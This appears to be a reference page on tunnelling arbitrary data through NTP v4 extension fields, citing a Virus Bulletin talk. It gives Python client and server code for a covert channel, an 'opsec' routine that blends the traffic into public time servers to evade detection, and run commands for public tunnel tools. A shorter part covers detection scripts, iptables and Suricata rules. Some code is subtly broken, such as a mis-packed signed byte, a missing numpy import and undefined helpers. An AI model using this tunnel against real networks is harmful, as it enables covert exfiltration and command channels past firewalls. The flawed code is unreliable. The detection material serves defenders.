ntp extension field tunneling
on this page
ntp extension field tunneling exploits network time protocol version 4 extension fields to carry arbitrary data. the virus bulletin implementation by nikolaos tsapakis demonstrated 300-500 bytes per packet capacity using random field types to evade detection.
technical description
ntp v4 (rfc 5905) introduced extension fields for future protocol enhancements:
- standard ntp packet: 48 bytes
- with extensions: up to 65535 bytes theoretically
- practical limit: ~500 bytes to avoid fragmentation
- multiple extension fields allowed per packet
- field types largely undefined, allowing arbitrary values
packet structure:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LI | VN |Mode | Stratum | Poll | Precision |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Root Delay |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Root Dispersion |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Reference ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Reference Timestamp (64) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Origin Timestamp (64) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Receive Timestamp (64) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Transmit Timestamp (64) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Extension Field 1 (variable) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
virus bulletin implementation
nikolaos tsapakis research
key findings from virus bulletin presentation:
- random extension field types avoid signature detection
- 300-500 bytes practical payload per packet
- minimal impact on ntp functionality
- works through firewalls allowing ntp
extension field structure
import struct
import random
class NTPExtensionField:
def __init__(self, data, field_type=None):
self.data = data
# use random field type if not specified
self.field_type = field_type or random.randint(0x8000, 0xFFFF)
self.length = len(data) + 4 # data + header
def pack(self):
"""pack extension field for transmission"""
# field type (2 bytes) + length (2 bytes) + data
header = struct.pack('!HH', self.field_type, self.length)
# pad to 4-byte boundary
padding = (4 - (len(self.data) % 4)) % 4
padded_data = self.data + b'\x00' * padding
return header + padded_data
@staticmethod
def unpack(data):
"""unpack extension field from packet"""
field_type, length = struct.unpack('!HH', data[:4])
payload = data[4:length]
return NTPExtensionField(payload, field_type)
implementation
ntp packet with covert data
import socket
import struct
import time
class NTPCovertChannel:
def __init__(self, server='pool.ntp.org', port=123):
self.server = server
self.port = port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def create_ntp_packet(self, covert_data=None):
"""create ntp packet with optional extension field"""
# ntp header (48 bytes)
# li=0, vn=4, mode=3 (client)
byte1 = 0b00100011 # 00 100 011
# standard ntp fields
packet = struct.pack('!BBBb11I',
byte1, # li, vn, mode
0, # stratum
6, # poll
0xFA, # precision
0, 0, # root delay
0, # root dispersion
0, # reference id
0, 0, # reference timestamp
0, 0, # origin timestamp
0, 0, # receive timestamp
int(time.time()) + 2208988800, 0 # transmit timestamp
)
# add extension field with covert data
if covert_data:
ext = NTPExtensionField(covert_data)
packet += ext.pack()
return packet
def send_covert_message(self, message):
"""send message via ntp extension fields"""
# chunk message into 300-byte pieces
chunk_size = 300
chunks = [message[i:i+chunk_size]
for i in range(0, len(message), chunk_size)]
for chunk in chunks:
packet = self.create_ntp_packet(chunk)
self.socket.sendto(packet, (self.server, self.port))
time.sleep(1) # avoid flooding
def receive_ntp_response(self):
"""receive and extract covert data from response"""
data, addr = self.socket.recvfrom(1024)
if len(data) > 48: # has extension fields
# skip ntp header
extensions_data = data[48:]
# extract extension field
ext = NTPExtensionField.unpack(extensions_data)
return ext.data
return None
bidirectional communication
def ntp_tunnel_server(listen_port=123):
"""ntp server with covert channel capability"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', listen_port))
while True:
data, addr = sock.recvfrom(1024)
# extract covert data from request
if len(data) > 48:
covert_in = data[48:]
process_incoming_data(covert_in)
# create response with covert data
response = create_ntp_response()
covert_out = get_outgoing_data()
if covert_out:
ext = NTPExtensionField(covert_out)
response += ext.pack()
sock.sendto(response, addr)
github implementations
jhu ntp covert channel
https://github.com/lacraig2/jhu_ntp_covert_channel:
# clone and compile
git clone https://github.com/lacraig2/JHU_NTP_Covert_Channel.git
cd JHU_NTP_Covert_Channel
make
# run server
sudo ./ntp_covert_server
# run client
./ntp_covert_client server_ip "message to send"
ntp-tunnel
https://github.com/b00tk1d/ntp-tunnel:
# basic tunnel setup
./ntp-tunnel -s server_ip -p 123
# with encryption
./ntp-tunnel -s server_ip -e aes256 -k password
ntptunnel
ricklahaye/ntptunnel - educational implementation (repository currently unavailable/private)
academic research
49 distinct ntp covert channels
pattern-based taxonomy identifies:
-
header fields (14 channels):
- leap indicator manipulation
- version number unused bits
- stratum value encoding
- poll interval patterns
-
timestamp manipulation (12 channels):
- fractional seconds encoding
- timestamp differences
- precision field abuse
-
extension fields (8 channels):
- arbitrary field types
- multiple extensions
- padding exploitation
-
protocol behavior (15 channels):
- query frequency patterns
- symmetric/asymmetric modes
- authentication fields
detection methods
packet size analysis
def detect_ntp_extensions(packet):
"""detect suspicious ntp packets"""
# standard ntp packet is 48 bytes
if len(packet) > 48:
extension_size = len(packet) - 48
if extension_size > 100: # unusual extension
return "suspicious"
# check for known extension types
if len(packet) >= 52:
ext_type = struct.unpack('!H', packet[48:50])[0]
# legitimate extension types (nts, etc)
legitimate_types = [0x0104, 0x0204, 0x0304]
if ext_type not in legitimate_types:
return "unknown extension type"
return "clean"
traffic pattern analysis
# monitor ntp packets >48 bytes
tcpdump -i eth0 'udp port 123 and greater 68' -w suspicious_ntp.pcap
# analyze with tshark
tshark -r suspicious_ntp.pcap -T fields \
-e frame.len \
-e ntp.flags \
-e data.data | \
awk '$1 > 48 {print}'
statistical detection
from scipy import stats
def statistical_ntp_analysis(packets):
"""detect anomalous ntp traffic"""
sizes = [len(p) for p in packets]
# normal ntp: mostly 48 bytes
# covert channel: varied sizes
if np.std(sizes) > 50: # high variance
return "possible covert channel"
# check for periodic large packets
large_packets = [i for i, s in enumerate(sizes) if s > 48]
if len(large_packets) > 0:
intervals = np.diff(large_packets)
if np.std(intervals) < 2: # regular pattern
return "periodic extension fields detected"
return "normal"
countermeasures
firewall rules
# block ntp packets with extensions
iptables -A FORWARD -p udp --dport 123 \
-m length --length 49:65535 -j DROP
# allow only standard ntp
iptables -A FORWARD -p udp --dport 123 \
-m length --length 48 -j ACCEPT
ntp proxy filtering
def ntp_proxy_filter(packet):
"""strip extension fields from ntp packets"""
if len(packet) > 48:
# keep only standard ntp header
filtered = packet[:48]
return filtered
return packet
ids rules
# suricata rule
alert udp any any -> any 123 (
msg:"ntp extension field covert channel";
dsize:>48;
content:"|00 7b|"; offset:0; depth:2;
threshold: type limit, track by_src, count 5, seconds 60;
sid:1000007;
)
performance characteristics
bandwidth
- payload: 300-500 bytes per packet
- overhead: ~52 bytes (48 ntp + 4 extension header)
- efficiency: 85-90%
- practical throughput: 10-50 kb/s
reliability
def calculate_ntp_channel_metrics():
"""calculate channel performance"""
packet_size = 500 # bytes
packets_per_second = 10 # avoid detection
packet_loss = 0.01
# theoretical bandwidth
bandwidth = packet_size * packets_per_second * 8 # bits/sec
# effective bandwidth with loss
effective = bandwidth * (1 - packet_loss)
# with error correction overhead (25%)
usable = effective * 0.75
return {
'theoretical_bps': bandwidth,
'effective_bps': effective,
'usable_bps': usable
}
advantages and limitations
advantages
- high capacity (300-500 bytes/packet)
- ntp rarely blocked
- works through nat
- legitimate cover traffic
- bidirectional communication
limitations
- packets >48 bytes suspicious
- limited to udp
- requires ntp infrastructure
- easily filtered at firewall
- extension fields uncommon
real-world considerations
deployment scenarios
- corporate networks with ntp synchronization
- iot devices using ntp
- cloud infrastructure time sync
- academic/research networks
operational security
def opsec_ntp_tunnel():
"""operational security measures"""
# use legitimate ntp servers as cover
legitimate_servers = [
'time.google.com',
'time.cloudflare.com',
'pool.ntp.org'
]
# randomize server selection
server = random.choice(legitimate_servers)
# add jitter to timing
delay = random.uniform(60, 300) # 1-5 minutes
# limit data rate
max_bytes_per_hour = 10000
return server, delay, max_bytes_per_hour
testing setup
lab environment
# setup ntp server with extension support
apt install chrony
# configure for testing
cat >> /etc/chrony/chrony.conf << EOF
allow 192.168.1.0/24
local stratum 10
EOF
# restart service
systemctl restart chrony
# test with extension fields
python ntp_extension_test.py
# capture traffic
tcpdump -i any -w ntp_tunnel.pcap 'port 123'
validation
def validate_ntp_tunnel(pcap_file):
"""verify covert channel operation"""
from scapy.all import rdpcap
packets = rdpcap(pcap_file)
ntp_packets = [p for p in packets if p.haslayer(UDP) and p[UDP].dport == 123]
extensions_found = 0
total_covert_bytes = 0
for p in ntp_packets:
payload = bytes(p[UDP].payload)
if len(payload) > 48:
extensions_found += 1
total_covert_bytes += len(payload) - 48
print(f"packets with extensions: {extensions_found}")
print(f"total covert data: {total_covert_bytes} bytes")
references
- “hide and seek with ntp” - virus bulletin conference, nikolaos tsapakis
- rfc 5905: network time protocol version 4
- “a pattern-based survey and categorization of network covert channels” - steffen wendzel
- “covert channels in ntp” - ieee communications
- jhu ntp implementation: https://github.com/lacraig2/jhu_ntp_covert_channel